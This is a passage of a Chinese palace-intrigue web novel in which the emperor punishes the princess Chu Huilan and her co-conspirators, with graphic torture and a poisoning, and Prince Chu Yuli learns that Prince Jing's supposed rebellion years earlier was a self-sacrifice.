姜黎婳缓缓抬眸与他对视,看到他眼中露出的疼惜之色,她避开他的目光,低声道,“萧景宴跑了,护城营的人和赵总督的人还没有追到他们的兵马,还有一场硬仗要打。”
楚御礼闻言眼底没有半点波澜,他轻轻拍了拍姜黎婳的后背,“一群丧家之犬最后的挣扎罢了,你不必放在心上。”说到这里他的声音更轻柔了一些,“这些日子辛苦你了,接下来的就交给我,至于那些逃窜的丧家之犬们就交给赵总督他们,你好好休息一下。”
姜黎婳低低地应了一声,“也是时候把归雁和明月接回来了。”
“这些你无需操心,王府已经修缮得差不多了,你回府好生休息。”楚御礼扶着姜黎婳就往殿外走。
两人才刚走出大殿,就看到匆匆而来的佩蓉,楚御礼眉头紧蹙,正要说话,姜黎婳就拍了拍他的手阻止了他,“母后应该有很多事情想要问,你先去忙你的吧。”
楚御礼想到之前他们夫妇演戏的时候,母后曾和他说的那些话,他的脸色就瞬间阴沉了下去,“我和你一同过去。”
他说罢把手中握着的罪状递给了一直在殿外等着自己的青砚,“先拿去给父皇。”
夫妇二人随着佩蓉到了皇后的凤仪宫。
早早听说了消息的贤妃早已经和皇后在凤仪宫中等着了,看到夫妇二人相携走进殿中,贤妃立刻站起来疾步朝姜黎婳走来,“真的是御王妃,你没事真的太好了!”
贤妃拉着姜黎婳来回看了个遍,然后才哭笑着道:“没有受伤,不过瞧着瘦了很多。”
姜黎婳能感受到贤妃对自己的关心不像是假的,她神色动容地抬眸看着贤妃,“为了抓住幕后真凶婳儿和王爷不得不瞒住大家,还请母后和贤娘娘莫怪。”
贤妃叹气,“只要你们夫妇无碍,我们都不会怪你们的。”
坐在高位上的皇后心情有些复杂地看着姜黎婳三人,她原本以为这个儿媳妇**,或者失踪了...
当初她心头还升起了那种想法,现在她觉得自己先前的想法很可笑。
之前自己甚至还和儿子说出了那种话,导致母子关系也变得有些僵硬...
想到这里皇后下意识的抬眸看向楚御礼,这下正好和儿子冰冷的眼神对上,感受到楚御礼的眼神,皇后挺直了脊梁骨,她藏在袖中的手微微握紧,他那是什么眼神?
警告她这个当母后的?
她所说所做的事情哪件事不是为了他好?
他如今却要怪她?
皇后收回目光,深深地吸了口气,她不断地安抚自己说如今儿子和姜黎婳两人才刚刚成亲,正是浓情蜜意之时,儿子如今有那种一生一世只要一人的想法是正常的,等过两年,两人的感情淡了,那时候他自己都会提出纳妾或者娶侧妃的想法的。
就像当初的皇帝一样,年轻气盛时也曾对
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她承诺一生一世只爱她一人,后来他成为太子逐渐充盈后宅,她若不帮忙张罗或者露出哀怨之色,还会被那个曾经对她许诺的男人责怪,甚至说她善妒...
皇后想到这里逐渐被自己说服了,她看着现在又被儿子温柔注视着的姜黎婳仿佛看到了曾经的自己...
她的眼神逐渐柔软了下来,罢了,婳儿的身世背景她是知道的,将来是能担得起太子妃这个位置的,如今她还能享受两年自己丈夫的专属疼爱,她这个过来人为何要阻拦他们,给他们添堵呢?
皇后朝姜黎婳招手,“婳儿,过来。”
姜黎婳走上前给皇后行礼,“这些日子让母后担心了。”
皇后站起来亲自上前扶着姜黎婳站起来,低声道:“只要你们人没事就好,如今母后瞧着你平安归来,也算是放心了。”
她说罢还是问了楚明月和沈归雁的安危,得知两人安全,她又让姜黎婳留下用膳,然后让楚御礼回去处理剩下的事务。
见楚御礼那副不放心的模样,她嗔道:“母后知道你心疼媳妇儿,母后难道不心疼自己的儿媳妇吗?如今事情还未处理妥当,你先出处理事情,现在时辰不早了,就让婳儿在凤仪宫用午膳,等明月她们入宫之后,本宫亲自差人送她回王府休息,如何?”
楚御礼不知道皇后葫芦里卖的什么药,但是看皇后的神色不像是要再提那些事情的模样,他又看向姜黎婳,问她的想法。
姜黎婳轻笑,“殿下快去处理自己的事情吧,母后留我下来,定然是想知道一些细节的。”
楚御礼离开,皇后便吩咐佩蓉去吩咐御膳房备膳,然后告诉宫人不准任何人进来打扰她们,便和贤妃一同拉着姜黎婳进了偏殿,问起了这期间发生的事情。
期间因为御书房传来的消息,皇后和贤妃二人又加长了这场谈话。
后来还是因为御膳房送午膳偶来了,皇后和贤妃才放过了姜黎婳。
坐在餐桌旁边,皇后和贤妃二人捏着筷子发呆,她们明明待在皇宫中,竟然都不曾发觉那些密辛啊!
这种感觉就像是自己从金山银山上面踏过,却在旁人挖出金银之后,没有得到那金山银山的感觉...
第215章 皇帝的怒火
楚御礼到御书房的时候一向喜怒不形于色的皇帝正在砸手边的东西,听到通报,皇帝停下手中的动作,抬头阴沉地看着楚御礼,沉声道:“御儿,你可娶了一个好王妃啊。”
皇帝说罢在椅子上坐下,抬手让福清把地上的狼藉收拾了,又继续道:“若不是她,朕都不知道这皇室竟然如此肮脏!”
更不知道他身为九五之尊,竟然还有嫔妃敢给他戴绿帽子!
想到自己这么些年过来,竟然给当初要害死自己的仇人养儿子,皇帝就气不打一处来!
可偏偏揭穿这一切的人是他的儿媳妇!
皇帝心头那一股杀意一闪而过。
楚御礼像是没有看到皇帝眼底的愤怒,他垂头跪下去,抑扬顿挫地扬声道:“这一切都是父皇和母后的功劳,若不是父皇母后眼光好,选择了婳儿给儿臣当王妃,儿臣也不会因此得知自己生病的真相,更不会揭穿那些恶毒之人的阴谋诡计,一切都是因为父皇母后有福。”
皇帝心头的怒火和那抹对姜黎婳的杀意在听到楚御礼最后这一句有福之后立刻消散了不少。
也的确是因为他有福才会给御儿选择这么一个王妃,若这姜黎婳没有加嫁入皇室,那就不会有人得知御儿是被下了毒,他更不会起疑心,去调查身边的人,揪出那一环又一环的人...
也不会拆穿楚蕙兰的阴谋诡计...
若一切没有被姜黎婳打破,恐怕将来他的江山还会落入贼子之手。
皇帝最后被楚御礼那几句话给说服了。
他叹气,“听说楚蕙兰的余党还未抓捕完?”
“萧景宴这些年一直都是在隐藏锋芒,此人心机颇深,楚蕙兰对他深信不疑,当初她宁可牺牲上百死士,也要救出萧景宴,从此就可以看出萧景宴此人不容小觑。”
此时福清等人已经把遍地的奏折全都收拾起来了。
皇帝看了一眼又把那认罪的罪状摆到自己面前的福清,他深深地吸了口气,那刚刚熄灭下去的怒火,又窜了上来,他猛地站起来,沉声对楚御礼道:“你说那些人里面有不少人都可能是楚晋霆当初留给楚蕙兰的?”
楚御礼拱手应是,想在他想到楚蕙兰和楚晋霆两个人之间的感情都觉得起鸡皮疙瘩,当初皇祖父要是知道了这两人的事情,怕是会气得直接把两人打死吧?
不过善恶不分的人,一般也分不出常伦。
皇帝瞧楚御礼的脸色就知道楚御礼也想到了楚晋霆和楚蕙兰之间的事情,想到当初楚晋霆想杀了他争夺皇位有可能就是因为想要冒天下之大不韪把楚蕙兰堂而皇之的养在宫中,皇帝就觉得一阵恶心。
再想到自己这些年当中还去宠幸过康贵人,皇帝脸色一下子就黑了...
“去慎刑司!”
......
慎刑司中。
楚蕙兰被绑在十字架上,下面一排排都是慎刑司用的刑具,她崩溃地大喊,“狗奴才!本宫是佳宁公主!是先皇最宠爱的女儿,是皇兄的亲妹妹,你们敢这样对我,小心皇兄扒了你们的皮!”
楚浩泽此时也吓得开始哆嗦了,他磕磕绊绊地对正在挑选刑具的钱大海说道:“我是父皇的儿子,如今父皇是正在气头上才会说将我处死的话!等父皇气消了,最多只是圈禁我!你们若敢对我用刑父皇是不会放过你们的!”
钱大海听着两人的吵闹,不悦地皱起眉头,他的手指在拶指、夹棍、脑箍、笞杖、烙铁、小刀、尖锐的铁钩和带倒刺的短鞭上一一扫过,最终他拿起了最平常的带着倒刺的短鞭。
楚蕙兰瞧他拿起带倒刺的短鞭气的直接开始大声骂道,“狗奴才!你干什么?你若敢对本宫动手,等本宫被皇兄放出去,本宫立刻弄死你!”
楚浩泽也红着眼喊道,“钱大海!你最好识时务!你现在对我们用刑,等我们得了自由,你的好日子也到头了!”
楚浩泽是真的怕了,他再怎么心思深沉再怎么善于伪装,也不过是因为以前并未真正的经历过这些恐怖的局面。
钱大海听着两人的叫嚣,他笑着摇了摇头,“两位说笑了,奴才这种听人使唤的奴才,管不着以后的事儿,如今奴才就只是听陛下的话,给两位用刑,把两位还未交代的那些事情给逼问出来。”
钱大海说到这里笑容一敛,扬手一鞭子狠狠地落在楚蕙兰身上,楚蕙兰身上瞬间皮开肉绽,沾了盐的倒刺
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扎入肉中,瞬间给楚蕙兰身上传来撕心裂肺的疼痛,这种痛来得特别突然又瞬间到肉,和她体内的蛊毒发作时候那种万蚁啃食的痛苦完全不同。
万蚁啃食的痛所以一点一点来的,她还可以做点心理准备,但是钱大海这个痛是突如其来的...
楚蕙兰还没来得及承受鞭子落在身上倒刺扎入肉里的疼痛,钱大海使劲一拽,带着肉的鞭子又被他扯了出来,楚蕙兰又大声嘶喊出声,不过才一鞭子,楚蕙兰脸上的血色就瞬间消失不见,额头上已经布满了密密麻麻的汗水。
楚浩泽被楚蕙兰的遭遇吓得闭上眼睛求饶,“钱公公!我求您了!你放过我!我母妃定会好好报答您的!求您不...啊!!!”
身上直冲天灵盖的疼痛传来,楚浩泽猛地睁开了眼睛,他不可置信地瞧着完全不手软的钱大海,“你真...”
“你们若不想受刑讯之苦,那就把自己所犯之事一字一句一字不漏地交代了,旁边的人记录完了,奴才能给陛下交差了,自然也就把二位给放了,二位也少受些罪。”钱大海笑眯眯地说着,手上又是一扬,把鞭子狠狠地甩了起来,随着鞭子飞起来的还有楚浩泽的皮肉和他坏掉的锦衣。
楚蕙兰这时候已经缓过神来了,听到钱大海的话,她冷笑,“你做梦!”
姜黎婳那个贱妇几乎把她所犯之事猜得差不多了,不过那个贱妇并不知道细节,所以还需要佐证,她才不会让那个贱妇得逞!
皇帝走到慎刑司牢狱门口的时候正好听到楚蕙兰这么硬气的两个字,他冷着脸一步跨进来,眼神阴沉地扫过会被挂在十字架上的两人,厉声道:“冥顽不灵。”
皇帝这么些年过来是第一次踏入慎刑司,钱大海惶恐地放下手中的鞭子跪地给皇帝行礼,“陛下,此地肮脏污秽,您...”
“用刑,朕要看看,他们要嘴硬到什么时候。”皇帝面无表情地看了钱大海一眼,“什么痛苦用什么。”
钱大海立刻明白了,他笑眯眯地应了声是,转身拿起其他刑具。
皇帝看着钱大海的动作,神清无波地在侍卫搬来的龙椅上坐下,楚御礼则站在一旁陪他看着。
第216章 让她成为最丑陋的鬼
钱大海的刑具虽然都是审讯常用到的一些刑具,但是每一样刑具他都动了一点小心思,不会立刻要了人命,但是却可以让人痛苦不堪。
楚蕙兰才受了两三种刑具,就受不了地失去理智朝着皇帝狂骂,“你就是这样一个铁石心肠的人!所以才会被背叛!才得不到我们的敬重!你这个无情无义的人!你活该孤家寡人!”
皇帝抬眸看着如同疯子一样的楚蕙兰,半点没有因为楚蕙兰无能狂怒的诟骂而动怒,相反在御书房发泄一通后,现在的他很平静,“楚蕙兰,别为自己的恶毒和无能找借口,朕是楚国之主,若整日都被困在情这个字里面,朕要如何对天下人负责?”
“父皇,儿臣知道错了,儿臣真的知道错了。”楚浩泽趁机服软求饶,“儿臣真的什么都不知道,当时那样做也是受了她的蛊惑和威胁啊!儿臣太想要得到父皇您的认可了,所以才会对几个皇兄心生嫉妒,才会被她蛊惑,求您饶了儿臣这一次吧!”
“哈哈哈...”楚蕙兰听到楚浩泽求饶的话,嘲讽地笑出声,“当时为了给本宫表忠心,甚至不惜让自己的母妃陪你演戏让她受伤也要帮本宫把楚明月掳出宫的不是你自己吗?本宫那时候用刀子逼着你了?怂蛋!我皇兄怎么会有你这么个没用的儿子!”
皇帝听楚蕙兰这么说双手死死的捏住,他目光冰冷的看了钱大海一眼,钱大海立刻带着人退了出去,出去之前听到皇帝怒喝,“朕没有你这么恶毒的皇妹!”
钱大海舒了口气,他还以为自己听到了什么大不了的密辛呢!
知道一切密辛的福清,让钱大海带侍卫和其他人离远点,“等陛下处置完了,你们再过来。”
钱大海对福清谄媚的笑着应了声是,然后带着慎刑司的其他人退了下去。
牢狱中。
皇帝站起来负手看着身上全是血迹,头发凌乱,但是脸庞依旧绝色的楚蕙兰,他眉头微蹙,“朕问你,十五年前楚晋霆忽然起了谋逆之心,想用毒酒毒死朕,是不是他和你合谋的?”
楚蕙兰的神色有一瞬间的不自然,她错开皇帝的目光,冷笑道:“是有如何?可惜了,当时那杯毒酒没有被你喝下去!不然我和皇兄就可以名正言顺的在一起了!”
楚御礼眉头微微皱起,看楚蕙兰的眼神多了一丝探究。
皇帝双手紧紧地握成拳头,他冷笑,“你们两个真是令人恶心。”
他说罢从衣袖中拿出一把镶了宝石的**,然后慢慢地把**拔出刀鞘,随手把金质的刀鞘丢在地上,皇帝把刀刃贴在楚蕙兰的脸上,声音低沉,“你说楚晋霆最喜欢的就是你这张绝色的脸,所以你才会不惜动用南疆巫蛊之术,残害那么多无辜少女,今日朕就把你这张脸毁了,让你即便是下了地狱,也没无颜去见楚晋霆!”
楚蕙兰的眼神随着皇帝这句话变得恐惧,她小心翼翼地摇头,低声求饶,“皇兄,是臣妹的错,臣妹不该说那些话刺激你的,求您...求您放过我,不要对我的脸下手,我求您了...”
皇帝看着楚蕙兰求饶的模样,手上一动,语气阴沉,“楚蕙兰,晚了,朕不想听你交代了,等你死后,朕会把你挫骨扬灰,让你永世不得超生,想去阴曹地府见楚晋霆?你做梦。”
脸上火辣辣的疼痛传来,楚蕙兰嘶吼出声,“不要!”
她拼命的挣扎,她想伸手捂着自己的脸,哭喊出声,“楚晋骁!你这个魔鬼!我做鬼都不会放过你的!是你毁了我!”
皇帝听着楚蕙兰的怒骂,面不改色地把**递给楚御礼,楚御礼接过来,捡起地上的刀鞘把带血的**插回去。
皇帝静静地看着楚御礼的一举一动,等他动作完成了,才道:“毒哑她,废了她的四肢,不准她自尽,把她最在意的脸毁了,今天不准她**,等明天她蛊毒发作之后,再送她上路。”
皇帝说到这里面无表情地回头看着楚蕙兰,“你即便是想做鬼,朕也要你做这天下最丑的鬼!朕看你这种四肢不全,满脸丑陋的鬼,敢不敢出现在世人面前!”
皇帝说完甩袖大步离开。
楚蕙兰嘶声骂道:“楚晋骁你不是人!你这个魔鬼!”
“隐忍了这么些年,姑姑为何偏偏要在这时候回来招惹我们呢。”楚御礼垂眸轻笑了一声,“现在所有的一切都反噬在
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自己身上了吧?”
“若不是你们欺人太甚,我会回来吗?”楚蕙兰看楚御礼的眼神像是淬了毒,“本宫不过是想喝点人血罢了,你们凭什么要阻拦我!”
楚御礼瞧着现在还觉得自己没错的楚蕙兰,他嗤笑了一声,“与你这种善恶不分的人,我们无需多言。”
楚御礼说完转身大步离开,在外面得了楚御礼吩咐的钱大海,回来就开始挑选折磨人的刑具...
楚御礼大步离开慎刑司,刚走到慎刑司门外就看到了匆匆而来的昭临,看到昭临过来,楚御礼皱着眉头走了过去,“抓到人了?”
昭临的脸色一言难尽,“抓是抓到了,只是事情有些不对劲,有人想要见您,说是有话要对您说。”
楚御礼往皇后的凤仪宫看了一眼,对昭临颔首,“走吧。”
皇帝离开慎刑司后,没有摆驾回养心殿,而是直接去了储秀宫。
已经被圈禁在储秀宫的康贵人不知道外面的境况,只知道皇帝没事,那些原本被佳宁公主安插入宫的人全都被抓住了,他们的计谋毁于一旦了。
听到皇帝驾到的声音,康贵人立刻站起来迎了上去,看到皇帝走进来,她扑通一声直接跪了下去,朝着皇帝哀切地祈求道:“陛下,千错万错都是臣妾的错,这一切都是臣妾和佳宁公主谋划的,四皇子他什么都不知道,臣妾求您处死臣妾,饶了四皇子吧!臣妾一个妃嫔死不足惜,四皇子毕竟是您的子嗣啊。”
皇帝目光阴沉地看着此时哭得情真意切的康贵人,他冷笑,“是吗?”
康贵人听到皇帝这话,不管不顾地使劲在地上磕头,哭声也越发的哀切,“陛下,一切都是臣妾的错,是臣妾因为后族的事情对陛下您怀恨在心,所以才做出那等大逆不道的事情,求您处死臣妾,饶了四皇子吧!”
皇帝睨着康贵人,轻笑了一声,“朕问的是,楚浩泽是朕的子嗣吗?”
康贵人面上的神色一僵,她不可置信地抬眸看着皇帝,所有的话语哽在了喉咙里面。
皇帝瞧着康贵人的神色,眼神骤然变得阴冷,他抬脚一脚踢在康贵人肩膀上,“康舒你这个**!”
第217章 靖王当年没有谋逆
储秀宫中的宫人见皇帝忽然发怒踢了跪在地上的康贵人,全部都吓得直接在地上跪了下去,福清见状皱着眉头让他们全都退下去。
康贵人被踹倒在地上却根本不敢矫情,她慌张的爬起来跪在皇帝面前,声泪俱下,“陛下,臣妾不知道您在哪儿听到了什么风言风语,但是四皇子就是您的孩子啊!您要相信臣妾啊!”
“相信?”皇帝蹲下一把揪起康贵人的发髻,语气森冷,“楚蕙兰就连你在哪儿怀上了楚晋霆的儿子都一清二楚的交代了,你现在还敢在朕的面前狡辩?”
康贵人瞬间变得惨白,她眼神之中露出惧怕,“陛下,臣妾真的不是故意的!当年那是一场意外啊,臣妾和靖王没有半点私情的,求您相信臣妾啊!”
“意外?”皇帝一把捏住康贵人的脖子,紧咬着牙关阴沉沉的笑了一声,“即便是意外,你也不该生下那个逆贼的儿子!你简直该死。”
随着皇帝手上的力气越来越大,康贵人的脸色有苍白变成青白,那双原本充满了畏惧的眼神逐渐变得没有了色彩,她伸手想要去扯皇帝掐着自己脖子的手,却发现自己根本动弹不了,就在她以为自己要死在皇帝手上的时候,皇帝突然松开了她的脖子站了起来。
得到自由的康贵人瘫软在地上拼命地呼吸,她仰头看着皇帝,眼里满是不解。
皇帝居高临下地瞧着奄奄一息的康贵人,“朕亲手杀了你只会脏了朕的双手。”
皇帝说罢直接转身往外走,路过守在外面的福清时,他沉声道:“康舒买通膳房给朕下毒,罪不容诛,赐鸩酒。”
福清闻言躬身应了声是,立刻吩咐手下的人去做,自己则跟着皇帝离开了储秀宫。
躺在地上的康舒听到皇帝的话,笑着躺在地上,她望着皇帝离去的方向,一滴眼泪从眼眶里面落了出来。
自以为是的聪明,隐忍了这么多年,以为自己把所有人耍得团团转,不过是因为旁人因为她不露锋芒,没有把箭头指向她罢了。
她终究还是输了。
不过这样也好,她为王爷争了一回,即便是**,也有脸去见王爷了。
小路子端着鸩酒过来的时候康贵人已经重新给自己换了身衣裳还给自己打扮了一番了。
小路子瞧着还特意给自己涂了唇脂的康贵人,眉头微蹙,语气也多了一点不耐,“康贵人,上路吧。”
康贵人闻言笑着看了小路子一眼,她轻声道:“把酒放下吧。”
“陛下吩咐了,要亲自看着您饮下毒酒。”
康贵人闻言上前端起毒酒,她正要抬头饮下,就听小路子道:“康贵人,您其实也不必把自己打扮得这般好看,您和靖王殿下都是逆贼,死后下了十八层地狱只会在不同的炼狱里面受尽煎熬,你们即便是死,也无法再见的。”
康贵人端着酒杯的手一顿,不过须臾,她笑了笑,把杯中的鸩酒一饮而尽。
随着杯中的酒下毒,她只感觉腹部传来一阵灼热之感,片刻她猛地吐出一口鲜血,整个人轰然倒在地上。
深夜。
京城百里地外的营地中。
楚御礼与昭临骑着骏马快马加鞭地赶到就看到穿着铠甲披着红色披风的中年将士站在营地门外,他身后还跟着几个士兵。
见到楚御礼过来,中年将士往前走了几步,沉声道:“御王殿下!”
楚御礼翻身下马,快步走过去伸手扶起给自己行礼的中年将士,“赵总督多礼了,快快请起。”
赵忠顺着楚御礼手上的力度站起来,满脸愧疚地对楚御礼道:“都是臣御下无方才会导致如今的场面,是臣的失职。”
“是康城欺下瞒上,赵总督不必自责。”楚御礼脸色沉着,他看了军营中一眼,“听闻有人要见本王?”
“是,那些人主动把藏匿起来的萧景宴抓起来交给了我们,还把那十万士兵的藏匿之所告诉了我们,否则只怕是没有那么顺利。”赵忠跟着楚御礼往军营里面走,“不过也不排除这些人想把殿下您引出京。”
赵忠说到这里还特意说了一句,“不过这方圆十里全都是我们的兵马,这军营之中臣都安排了精兵护卫,即便他们包藏祸心,臣也可以保证他们动不了王爷一
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根汗**。”
楚御礼回眸看了赵忠一眼,眼底露出钦佩之色,他也不知道如此忠义的赵总督怎么就会生出赵旭庭那种觊觎别人媳妇儿的儿子来。
营帐中。
楚御礼掀开营帐走进去,萧景宴和几个中年男人被绑在一起,萧景宴看到楚御礼走进来,他眼底露出一丝不甘,接着他嗤笑道:“我还当谁呢,原来是只敢躲在女人背后的缩头乌龟御王殿下啊!”
楚御礼睨了萧景宴一眼,想到婳儿说的她经历的两世,他上前一脚踩着萧景宴的手在地上狠狠的碾了两下,疼得萧景宴龇牙咧嘴地骂了出来,“怎么?我说的话踩到御王殿下的痛处了?”
“就你这种只敢对女人动手,出事后还靠女人来救的人也配说本王?”楚御礼脚上的力度加大了一点,他居高临下的看着萧景宴,嗤笑,“你现在说这些不过是嫉妒本王娶妻娶得好,这算什么痛处?你夸本王的王妃,本王高兴还来不及呢。”
“楚御礼!”萧景宴被楚御礼这话气得凝噎,“也只有你这种靠着女人的男人才会觉得我这是在夸你!我告诉你,如果不是这些人忽然背叛了我们,谁输谁赢都不一定!”
“啧啧,可惜了,本王不会给你再来一次的机会,你心头的不甘,就等你死后在地狱慢慢复盘吧。”楚御礼说完又狠狠地碾了他的手一下,然后看向其他几个没说话的中年男人,“听说你们有事要找本王?”
“是,我们有话要对御王殿下说。”其中一个中年男人抬头看向楚御礼,“御王殿下难道不好奇为什么你们今天进宫之后几乎没有费什么力气就把楚蕙兰安排在宫中的**全都拿下了吗?甚至没有费一兵一卒。”
楚御礼眼睛一眯,如果说今**宫中经历了一场厮杀,那是没有的,那些人几乎没怎么反抗就被黑甲卫给拿下了。
这一切的确很反常,难道楚蕙兰里面还有他们的人?
可这明显不对。
“你这话是什么意思?”
中年男人沉声道:“因为我们是靖王殿下的人,当年靖王殿下并没有谋逆。”
第218章 忠心的弟弟
楚御礼站在营帐外看着中年男人交给自己的那封泛黄的书信和证据,脑海中一直在回响方才那个男人给自己说的那些话。
赵忠从营帐中走出来,看到楚御礼还拿着那封书信发呆,他叹了口气,上前如同长辈一般拍了拍楚御礼的肩膀,声音低沉,“当年靖王殿下的举动的确很是反常,说实话,过了这么些年,臣都依旧不相信他当年有谋逆之心,如今若真相大白了,那的确应该还靖王殿下一个清白了。”
楚御礼吸了口气,他回头往营帐里面看了一眼,声音有些无力,“本王要先回京一趟,常勇等人就劳烦赵总督先照看一下。”
赵忠叹了口气,轻轻颔首,“臣定不会辜负殿下的嘱托的。”
楚御礼深深地看了赵忠一眼,把手中的书信藏进袖中大步离开。
又是一夜的策马狂奔,楚御礼从军营赶到皇宫的时候天已经微微亮了,皇帝也已经起身去参加早朝了,楚御礼最终在皇帝上朝之前拦住了皇帝。
皇帝看着眼睛里面全是红血丝,脸色也异常疲惫的楚御礼,眉头微蹙,“一夜未眠?”
楚御礼颔首,“儿臣有要事相告。”
皇帝站在朝堂后面往前朝看了一眼,沉声道:“等早朝后再说。”
“等不得。”楚御礼一脸严肃地看着皇帝,语气深沉,“父皇,此事儿臣必须现在告诉您,这件事情信与不信,还是要父皇您说了才算。”
皇帝蹙眉,“什么事?”
“事关五皇叔当年谋逆的事情。”楚御礼看着皇帝,“父皇,我们去御书房?”
皇帝看着脸色疲惫但是却特别严肃的楚御礼,斟酌了片刻他看向福清,“今日朝会取消。”
说罢他转身往御书房的方向而去。
御书房。
皇帝坐在龙椅上看着楚御礼,沉声道:“什么事?”
“儿臣昨日从慎刑司出来便去了城外的军营。”楚御礼跪在地上把手中的信封和证据举起来,“父皇,儿臣在军营中见到了把萧景宴绑着送上来的常勇、常胜等人。”
皇帝听到常胜的名字,眼睛一下就眯了起来,他冷哼,“常胜?他不是楚晋霆身边的亲卫吗?当年楚晋霆的事情爆发,他身边最信任的亲卫却不见了,如今他的亲卫又想耍什么把戏?”
楚御礼举起信封,抬头看着皇帝,沉声道:“父皇,先看一下五皇叔给您留下来的信和这些证据吧。”
皇帝蹙眉,“五皇叔?楚御礼,你疯了吗?他一个逆贼,你竟然...”
“父皇,先看书信和证据。”楚御礼沉声打断皇帝的话。
皇帝深邃的眼眸沉沉的看着楚御礼,几息之后他看了一眼站在一旁伺候的小路子,小路子连忙上前接过楚御礼手中那泛黄的信封拿回去递给皇帝。
皇帝捏了捏有些厚的信封,然后打开,看着几页纸上面密密麻麻的字,皇帝的手下意识地收紧,然后开始看书信。
一炷香的时间后,皇帝终于把手中的书信看完了,他抬眸看着楚御礼,问,“你知道书信的内容了?”
“儿臣不知,但是在军营的时候,常勇等人告知了儿臣一些当年五皇叔之所以那样做的苦衷,还有那些五皇叔没有交给父皇的证据。”楚御礼想到常胜等人说的话,眼眶微红,声音也有些沙哑,“常胜说当年那杯酒中有毒,其实也是五皇叔故意透露的,不然以父皇您对五皇叔的信任,以及五皇叔的头脑和骁勇,是绝对不可能知道那杯酒中有毒的。”
想到自己昨夜都还在唾弃的人竟然为了帮自己的父皇稳固江山宁愿牺牲自己的性命,楚御礼心头就感觉堵得慌...
皇帝垂眸拿起那些证据一页一页的翻看,脑海中回想起当年的一幕幕,当年的楚晋霆的确骁勇善战,身边的亲卫更都是擅长打仗,当年楚晋霆若是愿意当皇帝的话,储君不一定是他!
他这些年恨就是恨楚晋霆在先皇在世的时候和他装作一副兄友弟恭的模样,却又在他登基之后有了谋逆之心!
想到当初他亲自把楚晋霆递过来的那杯酒拒绝了,然后逼着楚晋霆亲自喝下去的场面...
皇帝把手中的书信放下,语气漠然,“那场宴席前一晚,的确有个莫名其妙的宫人过来给朕说楚晋霆有谋逆之心,甚至想在宴席上以敬酒的名义给朕下毒,朕原本不信,但他喝下那杯酒后没多久就毒发身亡了。”
“他有苦衷大可以告诉朕!朕会相信他!”皇帝捏着泛黄纸张的手有些颤抖,他闭了闭眼睛,看着楚御礼,“他们还给你说了什么?”
楚御礼又把常胜等人告诉他的那些事情事无巨细地都给皇帝说了一遍,皇帝的手狠狠地在桌上一拍,他双目猩红地站起来
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,双手撑着桌案,怒声喝道:“楚蕙兰!”
楚御礼这么些年第一次看到皇帝如此动怒,不过他没有劝阻,也没有安慰皇帝,皇帝撑着桌子冷静了好一会儿,他才抬起头来对着小路子吩咐道,“去给楚蕙兰灌一碗血。”
小路子出去后,皇帝站深深吸了口气站直身子,对楚御礼道:“御儿,父皇当年亲手杀了最为父皇着想的弟弟。”
皇帝说到这里身子一晃,楚御礼见状连忙起身过去扶着皇帝,皇帝拍了拍楚御礼的手,声音沙哑,“他一心为朕,甚至为了帮朕稳固朝堂清除异己,不惜让自己背上谋逆的罪名,可是朕却恨了他这么多年!”
楚御礼看了一眼被皇帝死死捏在手心的信纸,低声问,“皇叔在信上写了什么?”
皇帝闭着眼睛把信纸递给楚御礼,楚御礼接过信纸看上面的内容。
半晌后,他抿嘴,“当年父皇登基不过几年,那时候也的确为推行科举的事情焦头烂额,皇祖父当初虽然铲除了一些手握大权的世族,但依旧有不少世族依旧反对父皇您推行科举,而五皇叔的谋逆之事闹出来,从他的府邸中找出了不少皇叔和那些世族勾结的罪证...”
楚御礼垂眸,“而当初所有世族里面最大最有势力的的就是靖王妃的后族。”
靖王谋逆,身为王妃的后族,被诛了九族。
看到最后一页纸,楚御礼猛地抬头看向皇帝,“她...”
“没错,她当初为了满足她那龌龊的心思,勾结世族,想要谋逆!”皇帝双手死死的捏在一起,“而洛家之所以会被灭全族,就是发现了她的狼子野心!你皇叔之所以那么决然地带着那些人赴死,就是不想活着被她恶心。”
“原来这一切都是她一个人的偏执。”楚御礼回想起常胜等人提起这些年为楚蕙兰做事时候的恶心面容,他皱了皱眉,“难怪...”
难怪他们不愿提起楚蕙兰和皇叔的往事。
“父皇,那楚浩泽您要怎么处置?”楚御礼眉头微微皱起,“楚浩泽生出谋逆之心,的确罪不容诛,但他毕竟是五皇叔留在这个世上唯一的血脉了。”
他看着信上皇兄轻启那几个字,“真的要处死他?”
“朕再想想。”皇帝闭了闭眼睛,沉声道:“去慎刑司吧,朕要看看,楚蕙兰还要如何狡辩!”
第219章 慎刑司中的帝王
皇帝和楚御礼到慎刑司的时候楚蕙兰刚被灌了一碗血进去,而她身上全是鞭痕,脸上也布满了血迹,看到皇帝和楚御礼走进来,楚蕙兰如同疯了一样朝着皇帝嘶吼,“你为什么还要给我血!你不是要杀了我吗?你这个懦夫!你敢杀了五皇兄不敢杀了我吗?”
皇帝眼睛一眯,他看了一眼跪在地上有些心虚的钱大海,“怎么回事?”
钱大海心虚的抬手擦了擦额头的汗水,他能说他是想听听这位曾经高高在上的佳宁公主的惨叫声和求饶声所以才没有给佳宁公主喂哑药的吗?
“奴才还没来得及给她喂药,求陛下治罪。”钱大海在地上砰砰磕头。
皇帝深深吸了口气,想到自己过来的目的,他狠狠地甩了一下宽大的袖子,“出去。”
钱大海如蒙大赦在地上又磕了个头之后带着里面给自己打下手的太监都退了出去。
楚蕙兰被钱大海整整折磨了一天一夜,现在身上没有一处好地方,就连那张吹弹可破的脸如今都看不出原貌了,她被挂在十字架上,看上去很是狼狈,但是她的眼神没有认输,看皇帝的眼神依旧像是淬了毒一样。
瞧皇帝盯着自己不说话,楚蕙兰冷笑了一声,嗤笑道:“怎么?提到五皇兄你就不敢说话了?你也觉得你比不上五皇兄?”
“你还敢提他!”皇帝随手操起一旁的鞭子甩在楚蕙兰身上。
“啊...”撕心裂肺的哭喊声瞬间充斥着整个慎刑司。
皇帝狠狠地在楚蕙兰身上打了好几鞭子才解了心头的怨气,他阴冷地看着楚蕙兰,“楚蕙兰!你勾结世族私自养兵意图谋反,被洛天与撞破你竟然灭了他的全族!是与不是?”
“那又如何?”楚蕙兰狠狠地从嘴里吐出一口血水,“凭什么只有你们男人才能争那个位置!而我身为父皇最宠爱的公主,嫁给一个京城的世家弟子就要感恩戴德?”
“你心思龌龊图谋自己的皇兄,给靖王下药意图辱他清白,却阴差阳错让靖王遇到德妃有了露水情缘,是与不是?”皇帝又冰冷地问。
听到皇帝这个问题,楚蕙兰被绑在十字架上的手死死地握在了一起,她缓缓抬头看向皇帝,“谁说的?”
